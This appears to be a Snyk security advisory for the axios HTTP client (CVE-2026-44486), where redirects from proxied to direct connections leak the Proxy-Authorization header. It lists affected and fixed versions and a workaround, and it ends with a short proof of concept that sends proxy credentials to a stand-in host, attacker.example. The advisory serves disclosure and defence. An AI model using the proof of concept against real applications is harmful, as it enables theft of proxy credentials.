Insertion of Sensitive Information Into Sent Data Affecting axios package, versions <0.32.0>=1.0.0 <1.16.0
Threat Intelligence
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Test your applications- Snyk IDSNYK-JS-AXIOS-17172681
- published5 Jun 2026
- disclosed4 Jun 2026
- creditNgocnn97
Introduced: 4 Jun 2026
NewCVE-2026-44486 (opens in a new tab)How to fix?
Upgrade axios to version 0.32.0, 1.16.0 or higher.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain sensitive proxy credentials by controlling a redirect target and causing the application to follow a redirect from a proxied request to a direct connection, resulting in the Proxy-Authorization header being sent to the attacker's server.
Note:
This is only exploitable if the application is running in Node.js with automatic redirects enabled and uses an authenticated proxy configuration, where the redirect target resolves to a direct connection (such as when HTTPS_PROXY is unset or excluded by NO_PROXY).
Workaround
This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, or by ensuring proxy environment variables are configured consistently across protocols to prevent unexpected changes from proxied to direct connections.
PoC
process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;
await axios.get('http://attacker.example/start');